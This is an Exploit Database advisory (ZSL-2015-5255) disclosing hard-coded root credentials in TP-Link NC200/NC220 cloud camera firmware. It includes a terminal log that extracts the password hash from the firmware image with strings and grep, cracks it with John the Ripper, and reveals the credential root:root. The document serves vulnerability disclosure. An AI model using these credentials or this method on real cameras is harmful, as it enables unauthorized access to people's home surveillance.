TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi – Hard-Coded Credentials

• Exploit Database
• 52 阅读

• 作者： LiquidWorm
  日期： 2015-09-15
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/38186/

• TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials
  Vendor: TP-LINK Technologies Co., Ltd.
  Product web page: http://www.tp-link.us
  Affected version: NC220 V1 1.0.28 Build 150629 Rel.22346
  NC200 V1 2.0.15 Build 150701 Rel.20962
  
  Summary: Designed with simplicity in mind, TP-LINK's Cloud Cameras are a
  fast and trouble free way to keep track on what's going on in and around
  your home. Video monitoring, recording and sharing has never been easier
  with the use of TP-LINK’s Cloud service. The excitement of possibilities
  never end.
  
  Desc: NC220 and NC200 utilizes hard-coded credentials within its Linux
  distribution image. These sets of credentials (root:root) are never exposed
  to the end-user and cannot be changed through any normal operation of the
  camera.
  
  Tested on: Linux
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2015-5255
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5255.php
  
  
  20.07.2015
  
  --
  
  
  Initializing...
  root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin |grep root
  root_uImage
  p2048_newroot.cer
  root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux User,,,:/home/root:bin/sh
  Nproot:x:0:
  root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin | grep home > crack.me
  root@zslab:~# john crack.me
  Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
  root (root)
  guesses: 1time: 0:00:00:00 DONE (Mon Aug3 05:52:55 2015)c/s: 400trying:
  root - Userroot
  Use the "--show" option to display all of the cracked passwords reliably
  root@zslab:~# john crack.me --show
  root:root:0:0:Linux User,,,:/home/root:/bin/sh
  
  1 password hash cracked, 0 left
  root@zslab:~#